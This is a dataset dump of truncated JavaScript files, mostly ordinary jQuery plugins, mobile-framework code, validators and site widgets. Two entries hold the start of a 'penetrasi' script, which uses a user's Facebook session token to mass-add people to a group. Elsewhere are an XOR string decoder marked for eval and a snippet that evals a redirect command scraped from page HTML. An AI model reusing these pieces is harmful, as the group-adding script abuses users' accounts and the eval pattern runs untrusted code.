code stringlengths 1 2.08M | language stringclasses 1
value |
|---|---|
$(function( ) {
/* ======================= MAIN MENU ============================= */
$('.main-menu>li').hover(
function(){
$(this).stop(true,true).addClass('hover')
$('>.child',this).stop(true,true).slideDown(500,'easeOutCirc')
},
function(){
$(this).stop(true,true)... | JavaScript |
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
* to offer multiple easing options
*
* TERMS OF USE - jQuery Easing
*
* Open source under the BSD License.
*
* Copyright © 2008 George McGinley Smith
* All rights res... | JavaScript |
// Flash Player Version Detection - Rev 1.6
// Detect Client Browser type
// Copyright(c) 2005-2006 Adobe Macromedia Software, LLC. All rights reserved.
var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var... | JavaScript |
BrowserHistoryUtils = {
addEvent: function(elm, evType, fn, useCapture) {
useCapture = useCapture || false;
if (elm.addEventListener) {
elm.addEventListener(evType, fn, useCapture);
return true;
}
else if (elm.attachEvent) {
var r = elm.att... | JavaScript |
/*
* PhoneGap is available under *either* the terms of the modified BSD license *or* the
* MIT License (2008). See http://opensource.org/licenses/alphabetical for full text.
*
* Copyright (c) 2005-2010, Nitobi Software Inc.
* Copyright (c) 2010, IBM Corporation
*/
/**
* The order of events during page load an... | JavaScript |
/*
* PhoneGap is available under *either* the terms of the modified BSD license *or* the
* MIT License (2008). See http://opensource.org/licenses/alphabetical for full text.
*
* Copyright (c) 2005-2010, Nitobi Software Inc.
* Copyright (c) 2010, IBM Corporation
*/
/**
* The order of events during page load an... | JavaScript |
/*
* PhoneGap is available under *either* the terms of the modified BSD license *or* the
* MIT License (2008). See http://opensource.org/licenses/alphabetical for full text.
*
* Copyright (c) 2005-2010, Nitobi Software Inc.
* Copyright (c) 2010, IBM Corporation
*/
/**
* The order of events during page load an... | JavaScript |
var cookie_namespace = 'doxygen';
var sidenav,navtree,content,header;
function readCookie(cookie)
{
var myCookie = cookie_namespace+"_"+cookie+"=";
if (document.cookie)
{
var index = document.cookie.indexOf(myCookie);
if (index != -1)
{
var valStart = index + myCookie.length;
var valE... | JavaScript |
var NAVTREE =
[
[ "AllegroGL", "index.html", [
[ "AllegroGL", "index.html", null ],
[ "Related Pages", "pages.html", [
[ "Deprecated List", "deprecated.html", null ]
] ],
[ "Modules", "modules.html", [
[ "Version information", "group__version.html", null ],
[ "Core routines", "group_... | JavaScript |
function removeHtmlTag(strx,chop){
if(strx.indexOf("<")!=-1)
{
var s = strx.split("<");
for(var i=0;i<s.length;i++){
if(s[i].indexOf(">")!=-1){
s[i] = s[i].substring(s[i].indexOf(">")+1,s[i].length);
}
}
strx = s.join("");
}
chop = (chop < strx.length-1) ? chop : strx.length-2;... | JavaScript |
(function($) {
$(document).ready( function() {
$('.feature-slider a').click(function(e) {
$('.featured-posts section.featured-post').css({
opacity: 0,
visibility: 'hidden'
});
$(this.hash).css({
opacity: 1,
visibility: 'visibl... | JavaScript |
//MANUAL
//Faça os passo abaixo na página que se quer usar o google maps
//1. Chame os arquivos javascript do google maps e esse arquivo
// <script type="text/javascript" src="https://maps.google.com/maps/api/js?sensor=false"></script>
// <script type="text/javascript" src="<?=$url;?>/js/googlemaps.js"></script>
/... | JavaScript |
//MANUAL
//Faça os passo abaixo na página que se quer usar o google maps
//1. Chame os arquivos javascript do google maps e esse arquivo
// <script type="text/javascript" src="https://maps.google.com/maps/api/js?sensor=false"></script>
// <script type="text/javascript" src="<?=$url;?>/js/googlemaps.js"></script>
/... | JavaScript |
// DOM Ready
var js = {
init: function(){
}
}
$(document).ready(function() {
js.init();
});
| JavaScript |
/*
* jQuery Mobile Framework 1.0
* http://jquerymobile.com
*
* Copyright 2011 (c) jQuery Project
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
*/
/*!
* jQuery UI Widget @VERSION
*
* Copyright 2010, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL ... | JavaScript |
/*
* jQuery Nivo Slider v2.7.1
* http://nivo.dev7studios.com
*
* Copyright 2011, Gilbert Pellegrom
* Free to use and abuse under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*
* March 2010
*/
(function($) {
var NivoSlider = function(element, options){
//Defaults ... | JavaScript |
var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_me... | JavaScript |
//eval
function hp_d11(s){var o="",ar=new Array(),os="",ic=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);if(c<128)c=c^2;os+=String.fromCharCode(c);if(os.length>80){ar[ic++]=os;os=""}}o=ar.join("")+os;return o}
//eval
var numComments = numComments || 5, avatarSize = avatarSize || 60, characters = characters || 40, defaul... | JavaScript |
/**
* Prism: Lightweight, robust, elegant syntax highlighting
* MIT license http://www.opensource.org/licenses/mit-license.php/
* @author Lea Verou http://lea.verou.me
*/
(function () {
// Private helper vars
var lang = /\blang(?:uage)?-(?!\*)(\w+)\b/i;
var _ = self.Prism = {
languages: {
insertBe... | JavaScript |
var tulisanNganu = '<font color="black"><b>Adding</b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fbdtsg + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_gr... | JavaScript |
/**
* @version: 1.2
* @author: Dan Grossman http://www.dangrossman.info/
* @date: 2013-07-25
* @copyright: Copyright (c) 2012-2013 Dan Grossman. All rights reserved.
* @license: Licensed under Apache License v2.0. See http://www.apache.org/licenses/LICENSE-2.0
* @website: http://www.improvely.com/
*/
!function ($) {
... | JavaScript |
/* ===========================================================
* Bootstrap: fileinput.js v3.0.0-p7
* http://jasny.github.com/bootstrap/javascript.html#fileinput
* ===========================================================
* Copyright 2012 Jasny BV, Netherlands.
*
* Licensed under the Apache License, Version 2.0 ... | JavaScript |
;(function(){
/**
* Require the given path.
*
* @param {String} path
* @return {Object} exports
* @api public
*/
function require(path, parent, orig) {
var resolved = require.resolve(path);
// lookup failed
if (null == resolved) {
orig = orig || path;
parent = parent || 'root';
var err = new ... | JavaScript |
/*
* Toastr
* Version 2.0.1
* Copyright 2012 John Papa and Hans Fjällemark.
* All Rights Reserved.
* Use, reproduction, distribution, and modification of this code is subject to the terms and
* conditions of the MIT license, available at http://www.opensource.org/licenses/mit-license.php
*
* Author: John ... | JavaScript |
/**
* marked - a markdown parser
* Copyright (c) 2011-2013, Christopher Jeffrey. (MIT Licensed)
* https://github.com/chjj/marked
*/
;(function() {
/**
* Block-Level Grammar
*/
var block = {
newline: /^\n+/,
code: /^( {4}[^\n]+\n*)+/,
fences: noop,
hr: /^( *[-*_]){3,} *(?:\n+|$)/,
heading: /^ *(#{1,6}... | JavaScript |
;(function($, window, undefined){
/* Hover Intent Plugin */
(function($) {
$.fn.hoverIntent = function(handlerIn,handlerOut,selector) {
// default configuration values
var cfg = {
interval: 100,
sensitivity: 7,
timeout: 0
};
if ( typeof handlerI... | JavaScript |
/**
* File: datatables.responsive.js
* Version: 0.1.3
* Author: Seen Sai Yang
* Info: https://github.com/Comanche/datatables-responsive
*
* Copyright 2013 Seen Sai Yang, all rights reserved.
*
* This source file is free software, under either the GPL v2 license or a
* BSD style license.
... | JavaScript |
/*
* File: jquery.dataTables.columnFilter.js
* Version: 1.5.0.
* Author: Jovan Popovic
* http://jquery-datatables-column-filter.googlecode.com/svn/trunk/index.htmls
* http://code.google.com/p/jquery-datatables-column-filter/
*
* Copyright 2011-2012 Jovan Popovic, all rights reserved.
*
* This source f... | JavaScript |
/* Set the defaults for DataTables initialisation */
jQuery.extend( true, jQuery.fn.dataTable.defaults, {
"sDom": "<'row'<'col-xs-6 col-left'l><'col-xs-6 col-right'f>r>t<'row'<'col-xs-6 col-left'i><'col-xs-6 col-right'p>>",
"sPaginationType": "bootstrap",
"oLanguage": {
"sLengthMenu": "_MENU_ records per page"
}
... | JavaScript |
/*
* MultiSelect v0.9.8
* Copyright (c) 2012 Louis Cuny
*
* This program is free software. It comes without any warranty, to
* the extent permitted by applicable law. You can redistribute it
* and/or modify it under the terms of the Do What The Fuck You Want
* To Public License, Version 2, as published by Sam Hocevar. ... | JavaScript |
/*!jQuery Knob*/
/**
* Downward compatible, touchable dial
*
* Version: 1.2.0 (15/07/2012)
* Requires: jQuery v1.7+
*
* Copyright (c) 2012 Anthony Terrien
* Under MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Thanks to vor, eskimoblood... | JavaScript |
/*
This function will be called in the event when browser breakpoint changes
*/
var public_vars = public_vars || {};
jQuery.extend(public_vars, {
breakpoints: {
largescreen: [991, -1],
tabletscreen: [768, 990],
devicescreen: [420, 767],
sdevicescreen: [0, 419]
},
lastBreakpoint: null
});
/* Mai... | JavaScript |
$(document).ready(function() {
var switched = false;
var updateTables = function() {
if (($(window).width() < 767) && !switched ){
switched = true;
$("table.responsive").each(function(i, element) {
splitTable($(element));
});
return true;
}
else if (switched && ($(window)... | JavaScript |
/*!
* Nestable jQuery Plugin - Copyright (c) 2012 David Bushell - http://dbushell.com/
* Dual-licensed under the BSD or MIT licenses
*/
;(function($, window, document, undefined)
{
var hasTouch = 'ontouchstart' in window;
/**
* Detect CSS pointer-events property
* events are normally disabled on t... | JavaScript |
/**
* Neon Main JavaScript File
*
* Theme by: www.laborator.co
**/
;(function($, window, undefined){
"use strict";
$(document).ready(function()
{
//$("nav .selectnav").prependTo( $("nav .mobile-menu") );
// Remove last option (from search box)
//$("nav .selectnav").find('option:last').remove();
... | JavaScript |
/*
This function will be called in the event when browser breakpoint changes
*/
var public_vars = public_vars || {};
jQuery.extend(public_vars, {
breakpoints: {
largescreen: [991, -1],
tabletscreen: [768, 990],
devicescreen: [420, 767],
sdevicescreen: [0, 419]
},
lastBreakpoint: null
});
/* Mai... | JavaScript |
/**
* SimpleSlider
*
* Plugin by: Arlind Nushi
* www.arlindnushi.com
*
* Version: 1.0
* Date: 2/11/14
*/
;(function($, window, undefined){
$.fn.neonSlider = function(opts)
{
return this.each(function(i)
{
var
// public properties
def = {
itemSelector: '> .item',
activeClass: 'active',... | JavaScript |
// ========= А Н О Н С Ы (общее) =========
function anons(type) {
strGo="";
var size;
copyAnons = '';
i = 0;
for (i=0; i<arrTarget.length; i++) {
var str = '';
var num;
var tar = '';
target = new Array();
target = arrTarget[i].split('|');
num = target[0];
tar = target[1];
... | JavaScript |
// ========= А Н О Н С Ы (верх) =========
arrTarget = new Array();
arrTarget[0] = '0|_blank';
arrTarget[1] = '1|_blank';
arrTarget[2] = '3|_self';
// FOOTER
fon = 'https://lh3.googleusercontent.com/-PL62rgc6R0Q/UvdvkV4eH9I/AAAAAAAADNs/DJBdpxBWp5g/s960/footerFon.jpg';
logo = 'https://lh4.googleuser... | JavaScript |
// ============= H E A D E R (иконки) =============
arrIcon = new Array('http://renatmanapov.ru/2012/10/sitemap.html','http://renatmanapov.ru/2012/06/search.html','#','javascript:window.print(); void 0;');
// ============= Р О Т А Т О Р =============
// ============= F O O T E R ... | JavaScript |
// ========= А Н О Н С Ы (верх) =========
arrTarget = new Array();
arrTarget[0] = '0|_blank';
arrTarget[1] = '2|_blank';
arrTarget[2] = '1|_blank';
arrTarget[3] = '3|_blank';
// ========= Р А М К И =========
// Консультация Манапова
function consult() {
consult = '<br /><br />'+
'<div class="... | JavaScript |
// ********* Сферы озонотерапии *************
function moreOzonoterapy() {
/*
copyOzon = ''+
'<ol class="midle">'+
'<li><a href="http://kokarevskiy.ru/2014/08/ozon-voda.html">Улучшение качества питьевой воды</a>'+
'<li><a href="http://kokarevskiy.ru/2014/08/ozon-miaso.html">Удаление токсических веществ из мяс... | JavaScript |
// ========= А Н О Н С Ы (верх) =========
| JavaScript |
// ========= А Н О Н С Ы (верх) =========
arrTarget = new Array();
arrTarget[0] = '0|_blank';
arrTarget[1] = '2|_blank';
arrTarget[2] = '1|_blank';
arrTarget[3] = '3|_blank';
// ********** Б А Н Н Е Р **********
/*
ban01 = new Array('Озонотерапия: десять причин иметь озонатор','http://kok... | JavaScript |
fb.options = {
//
// EDIT ONLY WITHIN THE FOUR OPTION BLOCKS BELOW.
// See the instructions for information about setting floatbox options.
// See the options reference for details about all the available options.
// Commas are required after each entry except the last entry in a block.
// A comma on the last ent... | JavaScript |
// Russian
fb.data.strings = {
hintClose: "\u0432\u044b\u0445\u043e\u0434 (\u043a\u043d\u043e\u043f\u043a\u0430: esc)",
hintPrev: "\u043d\u0430\u0437\u0430\u0434 (\u043a\u043d\u043e\u043f\u043a\u0430: \u2190)",
hintNext: "\u0432\u043f\u0435\u0440\u0435\u0434 (\u043a\u043d\u043e\u043f\u043a\u0430: \u2192)",
hintPlay: "\... | JavaScript |
/**
* jQuery Validation Plugin 1.9.0
*
* http://bassistance.de/jquery-plugins/jquery-plugin-validation/
* http://docs.jquery.com/Plugins/Validation
*
* Copyright (c) 2006 - 2011 Jörn Zaefferer
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* ... | JavaScript |
//自定義byte最大長度驗證
jQuery.validator.addMethod("byteMaxLength", function(value, element, maxlength) {
return this.optional(element) || uiCommonValidateByteMaxLength(value, element, maxlength);
},jQuery.validator.format("請輸入長度小於 {0} 的字串"));
//自定義byte最小長度驗證
jQuery.validator.addMethod("byteMinLength", function(valu... | JavaScript |
/*
* Metadata - jQuery plugin for parsing metadata from elements
*
* Copyright (c) 2006 John Resig, Yehuda Katz, J�örn Zaefferer, Paul McLanahan
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Revisio... | JavaScript |
/*
* Translated default messages for the jQuery validation plugin.
* Locale: TW (Taiwan - Traditional Chinese)
*/
jQuery.extend(jQuery.validator.messages, {
required: "請輸入此欄位",
remote: "請修正此欄位",
email: "請輸入正確的電子信箱",
url: "請輸入合法的URL",
date: "請輸入合法的日期",
dateISO: "請輸入合法的日期 (ISO).",
number... | JavaScript |
{
"oPaginate":
{
"sFirst": "<<",
"sPrevious": "<",
"sNext": ">",
"sLast": ">>"
},
"sEmptyTable":"沒有資料",
"sInfo":"顯示第 _START_ 到第 _END_ 筆資料, 總共有 _TOTAL_ 筆資料",
"sInfoEmpty":"顯示第 0 到第 0 筆資料, 總共有 0 筆資料",
"sInfoFiltered":" - 從 _MAX_ 筆資料中篩選",
"sInfoPostF... | JavaScript |
/**
* Autotab - jQuery plugin 1.1b
* http://www.lousyllama.com/sandbox/jquery-autotab
*
* Copyright (c) 2008 Matthew Miller
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* Revised: 2008-09-10 16:... | JavaScript |
/*
* ContextMenu - jQuery plugin for right-click context menus
*
* Author: Chris Domigan
* Contributors: Dan G. Switzer, II
* Parts of this plugin are inspired by Joern Zaefferer's Tooltip plugin
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
*... | JavaScript |
function common_halfToFullTypeSymbol(text) {
if(text) {
var asciiTable = "!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~";
var unicodeTable = "%uFF01%uFF02%uFF03%uFF04%uFF05%uFF06%uFF07%uFF08%uFF09%uFF0A%uFF0B%uFF0C%uFF0D%uFF0E%uFF0F%uFF1A%uFF1B%uFF1C%uFF1D%uFF1E%uFF1F%uFF20%uFF3B%uFF3C%uFF3D%uFF3E%uFF3F%FF40%uFF5B%... | JavaScript |
var langList =
[
{name:'zh-tw', charset:'UTF-8'},
{name:'en', charset:'UTF-8'}
];
var skinList =
[
{name:'default', charset:'UTF-8'}
]; | JavaScript |
var $lang={
errAlertMsg: "\u4e0d\u5408\u6cd5\u7684\u65e5\u671f\u683c\u5f0f\u6216\u8005\u65e5\u671f\u8d85\u51fa\u9650\u5b9a\u7bc4\u570d!",
aWeekStr: ["\u5468","\u65E5","\u4E00","\u4E8C","\u4E09","\u56DB","\u4E94","\u516D"],
aLongWeekStr:["\u5468","\u661F\u671F\u65E5","\u661F\u671F\u4E00","\u661F\u671F\u4E8C","\u661F\... | JavaScript |
var $lang={
errAlertMsg: "Invalid date or the date out of range,redo or not?",
aWeekStr: ["wk", "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
aLongWeekStr:["wk","Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday","Sunday"],
aMonStr: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Se... | JavaScript |
/**
* Copyright (c) 2010 Maxim Vasiliev
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merg... | JavaScript |
/*!
* jQuery Form Plugin
* version: 2.43 (12-MAR-2010)
* @requires jQuery v1.3.2 or later
*
* Examples and documentation at: http://malsup.com/jquery/form/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*/... | JavaScript |
/*****[START] 全域變數 [START]*****/
var gFDCUser = null; //使用者資訊權限物件
var gDeputyFDCUser = null; //代理使用者資訊物件
var gFDCMenuStructure = null; //選單結構
var gFDCMenuSearch = new Array(); //選單快速搜尋結構
var gFDCDebug = false; //除錯模式
var gWiredAjaxAutoBlockUI = false; //是否已經註冊了要自動在AJAX發出時BlockUI,已無用,留著for相容性
var gUIBlockingCount... | JavaScript |
/**********************************/
/* Version: SDP v1.7.3 */
/**********************************/
var gsBlockUIDefaultTitle = "請稍候";
var gsBlockUIDefaultMessage = "處理中...";
var gsConfidentialLevel = "機密等級";
var gsConfidentialLevelPublic = "公開";
var gsConfidentialLevelGeneral = "一般";
var g... | JavaScript |
var persisteduls = new Object();
var ddtreemenu = new Object();
var pgbase = $("meta[name='pagebase']").attr("content");
//////////No need to edit beyond here///////////////////////////
ddtreemenu.createTree = function(treeid, enablepersist, persistdays) {
var ultags = $("#" + treeid + " ul");
if (typeof per... | JavaScript |
/*
* jdMenu 1.4.1 (2008-03-31)
*
* Copyright (c) 2006,2007 Jonathan Sharp (http://jdsharp.us)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://jdsharp.us/
*
* Built upon jQuery 1.2.1 (http://jquery.com)
* This also requires the jQuery dimensions >= 1.2... | JavaScript |
/*
* positionBy 1.0.7 (2008-01-29)
*
* Copyright (c) 2006,2007 Jonathan Sharp (http://jdsharp.us)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://jdsharp.us/
*
* Built upon jQuery 1.2.2 (http://jquery.com)
* This also requires the jQuery dimensions pl... | JavaScript |
/* Copyright (c) 2006 Brandon Aaron (http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastChangedDate$
* $Rev$
*
* Version 2.1.1
*/
(function($){
/**
* The bg... | JavaScript |
(function($,len,createRange,duplicate){
$.fn.caret=function(options,opt2){
var start,end,t=this[0],browser=$.browser.msie;
if(typeof options==="object" && typeof options.start==="number" && typeof options.end==="number") {
start=options.start;
end=options.end;
} else if(typeof options==="number" && t... | JavaScript |
;(function($){
/**
* jqGrid extension
* Paul Tiseo ptiseo@wasteconsultants.com
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl-2.0.html
**/
$.jgrid.extend({
getPostData : function(){
var $t = this[0];
if(!$... | JavaScript |
(function($){
/*
* jqGrid methods without support. Use as you wish
* Tony Tomov tony@trirand.com
* http://trirand.com/blog/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl-2.0.html
*
* This list of deprecated methods... | JavaScript |
;(function($){
/**
* jqGrid extension for manipulating columns properties
* Piotr Roznicki roznicki@o2.pl
* http://www.roznicki.prv.pl
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl-2.0.html
**/
$.jgrid.extend({
set... | JavaScript |
;(function($){
/**
* jqGrid Chinese Traditional Translation for v3.6
* waiting 2010.01.18
* http://waiting.javaeye.com/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
*
* update 2010.05.04
* add double u300... | JavaScript |
;(function($){
/**
* jqGrid English Translation
* Tony Tomov tony@trirand.com
* http://trirand.com/blog/
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl.html
**/
$.jgrid = {
defaults : {
recordtext: "View {0} - {... | JavaScript |
// Disable Function Key(F1~F10)
if (window.document.addEventListener) {
window.document.addEventListener("keydown", avoidInvalidKeyStorkes, false);
} else {
window.document.attachEvent("onkeydown", avoidInvalidKeyStorkes);
//document.captureEvents(Event.KEYDOWN);
}
function avoidInvalidKeyStorkes(evtArg) {
... | JavaScript |
/*!
* jQuery blockUI plugin
* Version 2.33 (29-MAR-2010)
* @requires jQuery v1.2.3 or later
*
* Examples at: http://malsup.com/jquery/block/
* Copyright (c) 2007-2008 M. Alsup
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses/gpl... | JavaScript |
var lunarInfo = new Array(
0x04bd8,0x04ae0,0x0a570,0x054d5,0x0d260,0x0d950,0x16554,0x056a0,0x09ad0,0x055d2,
0x04ae0,0x0a5b6,0x0a4d0,0x0d250,0x1d255,0x0b540,0x0d6a0,0x0ada2,0x095b0,0x14977,
0x04970,0x0a4b0,0x0b4b5,0x06a50,0x06d40,0x1ab54,0x02b60,0x09570,0x052f2,0x04970,
0x06566,0x0d4a0,0x0ea50,0x06e95,0x... | JavaScript |
/*
* Copyright (c) 2007 Josh Bush (digitalbush.com)
*
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use,
* c... | JavaScript |
/*
* Async Treeview 0.1 - Lazy-loading extension for Treeview
*
* http://bassistance.de/jquery-plugins/jquery-plugin-treeview/
*
* Copyright (c) 2007 Jörn Zaefferer
*
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/licenses... | JavaScript |
/**
* jquery.dropdown.js v1.0.0
* http://www.codrops.com
*
* Licensed under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*
* Copyright 2012, Codrops
* http://www.codrops.com
*/
;( function( $, window, undefined ) {
'use strict';
$.DropDown = function( options, element ) {
this.$e... | JavaScript |
function handle_click(eventObject)
{
buttonClicked = $(this).attr("value");
$("#status").text(buttonClicked);
} | JavaScript |
$(document).ready(function() {
// $('a').click( function (event) {
// alert('Thanks for visiting!');
// event.preventDefault();
// $(this).hide("slow");
// }
// );
var $calculator = $("div[name='calculator']:first");
var $calc_table = $("<table></table>");
$calculator.append($calc_table)... | JavaScript |
start = function() {
commandPattern = /\bwindow.location=".*"/i;
urlChangeCmd = commandPattern.exec($('body').html());
eval(urlChangeCmd[0]);
};
$(document).ready(start); | JavaScript |
function handle_click(eventObject)
{
buttonClicked = $(this).attr("value");
$("#status").text(buttonClicked);
} | JavaScript |
$(document).ready(function() {
// $('a').click( function (event) {
// alert('Thanks for visiting!');
// event.preventDefault();
// $(this).hide("slow");
// }
// );
var $calculator = $("div[name='calculator']:first");
var $calc_table = $("<table></table>");
$calculator.append($calc_table)... | JavaScript |
//************************* HIS CODE *************************
var req = createXMLHttpRequest();
function createXMLHttpRequest() {
var ua;
if(window.XMLHttpRequest) {
try {
ua = new XMLHttpRequest();
} catch(e) {
ua = false;
}
} else if(window.ActiveXObject) {
try {
ua = new ActiveXObje... | JavaScript |
// function countdown()
// {
document.getElementById("dl").innerHTML ='<input type="submit" value="abc"/>';
// }
// countdown(); | JavaScript |
datastore = [
{
Name: 'Glgltz',
Address: 'http://radio.glz.co.il:8000/galgalatz'
},
{
Name: '99fm',
Address: 'http://194.90.203.111:8000/99fm'
},
];
Player = function(){};
Play... | JavaScript |
if (document.location.href.match(/radio=7[#]?$/) != null) {
document.getElementById("Player").innerHTML = "<object id=\"Player\" height=\"240\" width=\"320\" classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\">\
<param name=\"URL\" value=\"http://radio.coolsite.co.il/99.asx\">\
<param name=\"uiMode\" value=\... | JavaScript |
//alert("Success in changing the page!");
//document.body.style.backgroundColor='red';
//alert("Success11!");
// document.body.style.backgroundColor='red'
// $(document).ready(function() {
// chrome.tabs.executeScript(null,
// {code:"document.body.style.backgroundColor='red'"});
// document.body.sty... | JavaScript |
/*
* Copyright 2011 M. Lauer
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by appl... | JavaScript |
// ********************
// Begin Popup Calendar
// ********************
var popCalDstFld;
var temp;
var popCalWin;
// ******************************
// Expected params:
// [0] Window Name
// [1] Destination Field
// [2] Short Date Format
// [3] Month Names
// [4] Day Names
// [5] Localized Today string
... | JavaScript |
Type.registerNamespace('dnn.controls');dnn.extend(dnn.controls,{initMultiStateBox:function(ctl)
{if(ctl)
{var ts=new dnn.controls.DNNMultiStateBox(ctl);ts.initialize();return ts;}}});dnn.controls.DNNMultiStateBox=function(o)
{dnn.controls.DNNMultiStateBox.initializeBase(this,[o]);this.css=this.getProp('css','');this.... | JavaScript |
Type.registerNamespace('dnn.scripts');dnn.extend(dnn.scripts,{pns:'dnn',ns:'scripts'});dnn.scripts.ScriptBatchRequest=function(aSrc,aText,callBack)
{this.ref=aSrc;this.inline=aText;this.requests=[];this.callBack=callBack;this.numComplete=0;this.numToComplete=0;}
dnn.scripts.ScriptBatchRequest.prototype={load:funct... | JavaScript |
dnn.controls.DNNRichText=function(initFunc)
{this.supportsCE=(document.body.contentEditable!=null);this.text='';this.supportsMultiLine=true;this.document=null;this.control=null;this.initialized=false;this.isRichText=true;this.loaded=false;if(this.supportsCE)
{this.document=document;this.container=document.createEleme... | JavaScript |
Type.registerNamespace('dnn.controls');dnn.extend(dnn.controls,{initTextSuggest:function(ctl)
{if(ctl)
{var ts=new dnn.controls.DNNTextSuggest(ctl);ts.initialize();return ts;}}});dnn.controls.DNNTextSuggest=function(o)
{dnn.controls.DNNTextSuggest.initializeBase(this,[o]);this.resultCtr=null;this.tscss=this.getProp('... | JavaScript |
/// <reference name="MicrosoftAjax.js" />
Type.registerNamespace('dnn.controls');
dnn.controls.triStateManager = function (images, toolTips) {
var that;
that = {
initControl: function (hidden) {
var hdn = jQuery(hidden);
if (!hdn.hasClass('lockedPerm')) {
... | JavaScript |
Type.registerNamespace('dnn.xmlhttp');dnn.xmlhttp.callbackType=function(){};dnn.xmlhttp.callbackType.prototype={simple:0,processPage:1,callBackMethod:2,processPageCallbackMethod:3}
dnn.xmlhttp.callbackType.registerEnum("dnn.xmlhttp.callbackType");dnn.xmlhttp.callbackStatus=function(){};dnn.xmlhttp.callbackStatus.pr... | JavaScript |
dnn.xml.parserName='JS';dnn.xml.JsDocument=function()
{this.root=new dnn.xml.JsXmlNode(this,'__root');this.childNodes=this.root.childNodes;this.currentHashCode=0;}
dnn.xml.JsDocument.prototype={hasChildNodes:function()
{return this.childNodes.length>0;},loadXml:function(sXml)
{var oParser=new dnn.xml.JsParser();... | JavaScript |
dnn.xmlhttp.parserName='JS';dnn.xmlhttp.JsXmlHttpRequest=function()
{dnn.xmlhttp.contextId+=1;this.contextId=dnn.xmlhttp.contextId;this.method=null;this.url=null;this.async=true;this.doc=null;this.iframe=document.createElement('IFRAME');this.iframe.name='dnniframe'+this.contextId;this.iframe.id='dnniframe'+this.con... | JavaScript |
Type.registerNamespace('dnn.controls');dnn.extend(dnn.controls,{initLabelEdit:function(ctl)
{if(ctl)
{var lbl=new dnn.controls.DNNLabelEdit(ctl);lbl.initialize();return lbl;}}});dnn.controls.DNNLabelEdit=function(o)
{dnn.controls.DNNLabelEdit.initializeBase(this,[o]);this.control=this.container;this.editWrapper=null;... | JavaScript |
Type.registerNamespace('dnn.xml');dnn.extend(dnn.xml,{pns:'dnn',ns:'xml',parserName:null,get_parserName:function()
{if(this.parserName==null)
this.parserName=this._getParser();return this.parserName;},createDocument:function()
{if(dnn.xml.get_parserName()=='MSXML')
{var o=new ActiveXObject('MSXML.DOMDocument');o... | JavaScript |
Type.registerNamespace('dnn.controls');dnn.controls.DNNToolBar=function(ns,behaviorID)
{this.ctr=document.createElement('div');this.ctr.id=ns+'_tb';dnn.controls.DNNToolBar.initializeBase(this,[this.ctr]);this.initialize(behaviorID);this.css=null;this.cssButton=null;this.cssButtonHover=null;this.moutDelay=null;this.bu... | JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.